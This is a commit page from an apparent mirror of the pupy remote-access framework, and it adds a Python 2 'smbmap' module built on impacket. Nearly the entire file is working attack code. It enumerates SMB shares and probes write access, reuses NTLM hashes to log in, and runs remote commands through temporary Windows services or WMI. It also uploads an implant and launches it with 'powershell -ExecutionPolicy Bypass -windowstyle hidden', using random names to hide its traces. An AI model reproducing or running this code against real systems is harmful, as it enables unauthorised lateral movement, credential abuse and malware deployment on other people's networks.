mirror of https://github.com/n1nj4sec/pupy.git
smbmap module pupyutils
This commit is contained in:
parent
d24dce14ae
commit
c29c83c9be
|
@ -0,0 +1,453 @@
|
||||||
|
#!/usr/bin/env python2
|
||||||
|
from impacket import smbserver, ntlm
|
||||||
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.smbconnection import *
|
||||||
|
import argparse
|
||||||
|
import time
|
||||||
|
import ntpath
|
||||||
|
import ConfigParser
|
||||||
|
import traceback
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import string
|
||||||
|
|
||||||
|
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||||
|
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||||
|
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||||
|
SMBSERVER_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||||
|
DUMMY_SHARE = 'TMP'
|
||||||
|
|
||||||
|
class SMBServer():
|
||||||
|
def __init__(self):
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
exit('[!] Error: ** SMB Server must be run as root **')
|
||||||
|
|
||||||
|
def cleanup_server(self):
|
||||||
|
print '[*] Cleaning up..'
|
||||||
|
try:
|
||||||
|
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
os.rmdir(SMBSERVER_DIR)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
# Here we write a mini config for the server
|
||||||
|
smbConfig = ConfigParser.ConfigParser()
|
||||||
|
smbConfig.add_section('global')
|
||||||
|
smbConfig.set('global','server_name','server_name')
|
||||||
|
smbConfig.set('global','server_os','UNIX')
|
||||||
|
smbConfig.set('global','server_domain','WORKGROUP')
|
||||||
|
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||||
|
smbConfig.set('global','credentials_file','')
|
||||||
|
|
||||||
|
# Let's add a dummy share
|
||||||
|
smbConfig.add_section(DUMMY_SHARE)
|
||||||
|
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||||
|
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||||
|
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||||
|
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||||
|
|
||||||
|
# IPC always needed
|
||||||
|
smbConfig.add_section('IPC$')
|
||||||
|
smbConfig.set('IPC$','comment','')
|
||||||
|
smbConfig.set('IPC$','read only','yes')
|
||||||
|
smbConfig.set('IPC$','share type','3')
|
||||||
|
smbConfig.set('IPC$','path')
|
||||||
|
|
||||||
|
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||||
|
print '[*] Creating tmp directory'
|
||||||
|
try:
|
||||||
|
os.mkdir(SMBSERVER_DIR)
|
||||||
|
except Exception, e:
|
||||||
|
print '[!]', e
|
||||||
|
pass
|
||||||
|
print '[*] Setting up SMB Server'
|
||||||
|
self.smb.processConfigFile()
|
||||||
|
print '[*] Ready to listen...'
|
||||||
|
try:
|
||||||
|
self.smb.serve_forever()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.cleanup_server()
|
||||||
|
self.smb.socket.close()
|
||||||
|
self.smb.server_close()
|
||||||
|
|
||||||
|
class RemoteShellsmbexec():
|
||||||
|
def __init__(self, share, rpc, mode, serviceName, command):
|
||||||
|
self.__share = share
|
||||||
|
self.__mode = mode
|
||||||
|
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||||
|
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
self.__command = command
|
||||||
|
self.__shell = '%COMSPEC% /Q /c '
|
||||||
|
self.__serviceName = serviceName
|
||||||
|
self.__rpc = rpc
|
||||||
|
self.__scmr = rpc.get_dce_rpc()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.__scmr.connect()
|
||||||
|
except Exception as e:
|
||||||
|
print "[!] {}".format(e)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
s = rpc.get_smb_connection()
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
s.setTimeout(100000)
|
||||||
|
if mode == 'SERVER':
|
||||||
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||||
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||||
|
self.__scHandle = resp['lpScHandle']
|
||||||
|
self.transferClient = rpc.get_smb_connection()
|
||||||
|
except Exception as e:
|
||||||
|
print "[-] {}".format(e)
|
||||||
|
|
||||||
|
def set_copyback(self):
|
||||||
|
s = self.__rpc.get_smb_connection()
|
||||||
|
s.setTimeout(100000)
|
||||||
|
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||||
|
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
# Just in case the service is still created
|
||||||
|
try:
|
||||||
|
self.__scmr = self.__rpc.get_dce_rpc()
|
||||||
|
self.__scmr.connect()
|
||||||
|
self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
|
||||||
|
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||||
|
self.__scHandle = resp['lpScHandle']
|
||||||
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||||
|
service = resp['lpServiceHandle']
|
||||||
|
scmr.hRDeleteService(self.__scmr, service)
|
||||||
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||||
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||||
|
except Exception, e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
self.__outputBuffer += data
|
||||||
|
|
||||||
|
if self.__mode == 'SHARE':
|
||||||
|
|
||||||
|
#while True:
|
||||||
|
# try:
|
||||||
|
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||||
|
# break
|
||||||
|
# except Exception, e:
|
||||||
|
# if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||||
|
# time.sleep(1)
|
||||||
|
# pass
|
||||||
|
# else:
|
||||||
|
# print str(e)
|
||||||
|
# pass
|
||||||
|
self.transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
|
||||||
|
else:
|
||||||
|
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||||
|
output_callback(fd.read())
|
||||||
|
fd.close()
|
||||||
|
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||||
|
if self.__mode == 'SERVER':
|
||||||
|
command += ' & ' + self.__copyBack
|
||||||
|
command += ' & ' + 'del ' + self.__batchFile
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||||
|
service = resp['lpServiceHandle']
|
||||||
|
except:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
scmr.hRStartServiceW(self.__scmr, service)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
scmr.hRDeleteService(self.__scmr, service)
|
||||||
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
result = self.__outputBuffer
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return result
|
||||||
|
|
||||||
|
class CMDEXEC:
|
||||||
|
KNOWN_PROTOCOLS = {
|
||||||
|
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||||
|
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None):
|
||||||
|
if not protocols:
|
||||||
|
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
|
||||||
|
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__protocols = [protocols]
|
||||||
|
self.__serviceName = self.service_generator()
|
||||||
|
self.__domain = domain
|
||||||
|
self.__command = command
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__aesKey = None
|
||||||
|
self.__doKerberos = None
|
||||||
|
self.__share = share
|
||||||
|
self.__mode = 'SHARE'
|
||||||
|
if hashes:
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
|
||||||
|
def service_generator(self, size=6, chars=string.ascii_uppercase):
|
||||||
|
return ''.join(random.choice(chars) for _ in range(size))
|
||||||
|
|
||||||
|
def run(self, addr):
|
||||||
|
result = ''
|
||||||
|
for protocol in self.__protocols:
|
||||||
|
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
|
||||||
|
port = protodef[1]
|
||||||
|
#logging.info("Trying protocol %s..." % protocol)
|
||||||
|
#logging.info("Creating service %s..." % self.__serviceName)
|
||||||
|
|
||||||
|
stringbinding = protodef[0] % addr
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||||
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
|
if hasattr(rpctransport,'preferred_dialect'):
|
||||||
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
|
|
||||||
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
|
# This method exists only for selected protocol sequences.
|
||||||
|
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||||
|
try:
|
||||||
|
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||||
|
result = self.shell.send_data(self.__command)
|
||||||
|
except SessionError as e:
|
||||||
|
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print "[-] {}".format(e)
|
||||||
|
|
||||||
|
#self.__mode = 'SERVER'
|
||||||
|
#serverThread = SMBServer()
|
||||||
|
#serverThread.daemon = True
|
||||||
|
#serverThread.start()
|
||||||
|
#self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||||
|
#self.shell.set_copyback()
|
||||||
|
#result = self.shell.send_data(self.__command)
|
||||||
|
#serverThread.stop()
|
||||||
|
|
||||||
|
except (Exception, KeyboardInterrupt), e:
|
||||||
|
print e
|
||||||
|
traceback.print_exc()
|
||||||
|
self.shell.finish()
|
||||||
|
sys.stdout.flush()
|
||||||
|
# sys.exit(1)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
class WMIEXEC:
|
||||||
|
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=True):
|
||||||
|
self.__command = command
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__aesKey = None
|
||||||
|
self.__share = share
|
||||||
|
self.__noOutput = noOutput
|
||||||
|
self.__doKerberos = False
|
||||||
|
if hashes:
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
|
||||||
|
def run(self, addr, smbConnection):
|
||||||
|
result = ''
|
||||||
|
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||||
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||||
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
|
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||||
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
|
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection)
|
||||||
|
result = self.shell.send_data(self.__command)
|
||||||
|
except (Exception, KeyboardInterrupt), e:
|
||||||
|
traceback.print_exc()
|
||||||
|
dcom.disconnect()
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
dcom.disconnect()
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
class RemoteShellwmi():
|
||||||
|
def __init__(self, share, win32Process, smbConnection):
|
||||||
|
self.__share = share
|
||||||
|
self.__output = '\\' + OUTPUT_FILENAME
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
self.__shell = 'cmd.exe /Q /c '
|
||||||
|
self.__win32Process = win32Process
|
||||||
|
self.__transferClient = smbConnection
|
||||||
|
self.__pwd = 'C:\\'
|
||||||
|
self.__noOutput = False
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
if self.__transferClient is not None:
|
||||||
|
self.__transferClient.setTimeout(100000)
|
||||||
|
else:
|
||||||
|
self.__noOutput = True
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
self.__outputBuffer += data
|
||||||
|
|
||||||
|
if self.__noOutput is True:
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||||
|
break
|
||||||
|
except Exception, e:
|
||||||
|
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||||
|
time.sleep(1)
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
#print str(e)
|
||||||
|
pass
|
||||||
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = self.__shell + data
|
||||||
|
if self.__noOutput is False:
|
||||||
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||||
|
obj = self.__win32Process.Create(command, self.__pwd, None)
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
result = self.__outputBuffer
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return result
|
||||||
|
|
||||||
|
def _listShares(smb, passwd):
|
||||||
|
permissions = dict()
|
||||||
|
root = ntpath.normpath("\\{}".format(PERM_DIR))
|
||||||
|
|
||||||
|
for share in smb.listShares():
|
||||||
|
share_name = str(share['shi1_netname'][:-1])
|
||||||
|
permissions[share_name] = "NO ACCESS"
|
||||||
|
|
||||||
|
try:
|
||||||
|
if smb.listPath(share_name, '', passwd):
|
||||||
|
permissions[share_name] = "READ"
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
if smb.createDirectory(share_name, root):
|
||||||
|
smb.deleteDirectory(share_name, root)
|
||||||
|
permissions[share_name] = "READ, WRITE"
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return permissions
|
||||||
|
|
||||||
|
def upload_file(smbconn, host, src, dst):
|
||||||
|
dst = string.replace(dst,'/','\\')
|
||||||
|
dst = ntpath.normpath(dst)
|
||||||
|
dst = dst.split('\\')
|
||||||
|
share = dst[0]
|
||||||
|
dst = '\\'.join(dst[1:])
|
||||||
|
|
||||||
|
if os.path.exists(src):
|
||||||
|
print '[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))
|
||||||
|
upFile = open(src, 'rb')
|
||||||
|
try:
|
||||||
|
smbconn.putFile(share, dst, upFile.read)
|
||||||
|
print '[+] Upload complete: %s' % dst
|
||||||
|
except Exception as e:
|
||||||
|
print '[!]', e
|
||||||
|
print '[!] Error uploading file, you need to include destination file name in the path'
|
||||||
|
upFile.close()
|
||||||
|
else:
|
||||||
|
print '[!] Invalid source. File does not exist'
|
||||||
|
|
||||||
|
def connect(host, port, user, passwd, hash, share, list_shares, execute_pupy, random_pupy_name, src, dst, command, domain="workgroup", execm="smbexec"):
|
||||||
|
try:
|
||||||
|
smb = SMBConnection(host, host, None, port, timeout=2)
|
||||||
|
try:
|
||||||
|
smb.login('' , '')
|
||||||
|
except SessionError as e:
|
||||||
|
if "STATUS_ACCESS_DENIED" in e.message:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, port, smb.getServerOS(), smb.getServerName(), domain)
|
||||||
|
|
||||||
|
if execute_pupy:
|
||||||
|
# command = 'powershell.exe "cat %s | Out-String | IEX"' % (dst.replace('$', ':'))
|
||||||
|
dst = dst.replace('txt', 'ps1')
|
||||||
|
command = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -file "%s"' % dst.replace('$', ':')
|
||||||
|
# print 'src: %s' % src
|
||||||
|
# print 'dst: %s' % (dst.replace('$', ':') + os.sep + random_pupy_name)
|
||||||
|
# print 'random_pupy_name: %s' % random_pupy_name
|
||||||
|
|
||||||
|
if list_shares or command:
|
||||||
|
try:
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
if hash:
|
||||||
|
lmhash, nthash = hash.split(':')
|
||||||
|
|
||||||
|
smb.login(user, passwd, domain, lmhash, nthash)
|
||||||
|
if list_shares:
|
||||||
|
separator = " " * (50 - len("SHARE"))
|
||||||
|
print "\tSHARE%sPermissions" % separator
|
||||||
|
print "\t----%s-----------" % separator
|
||||||
|
for share, perm in _listShares(smb, passwd).iteritems():
|
||||||
|
separator = " " * (50 - len(share))
|
||||||
|
print "\t%s%s%s" % (share, separator, perm)
|
||||||
|
print
|
||||||
|
|
||||||
|
if execute_pupy:
|
||||||
|
upload_file(smb, host, src, dst)
|
||||||
|
|
||||||
|
if command:
|
||||||
|
if execm == 'smbexec':
|
||||||
|
executer = CMDEXEC('{}/SMB'.format(port), user, passwd, domain, hash, share, command)
|
||||||
|
result = executer.run(host)
|
||||||
|
|
||||||
|
elif execm == 'wmi':
|
||||||
|
executer = WMIEXEC(command, user, passwd, domain, hash, share)
|
||||||
|
result = executer.run(host, smb)
|
||||||
|
|
||||||
|
if result: print result
|
||||||
|
|
||||||
|
smb.logoff()
|
||||||
|
|
||||||
|
except SessionError as e:
|
||||||
|
print "[-] {}:{} {}".format(host, port, e)
|
||||||
|
except Exception as e:
|
||||||
|
print "[-] {}:{} {}".format(host, port, e)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print "[!] {}".format(e)
|
||||||
|
|
Loading…
Reference in New Issue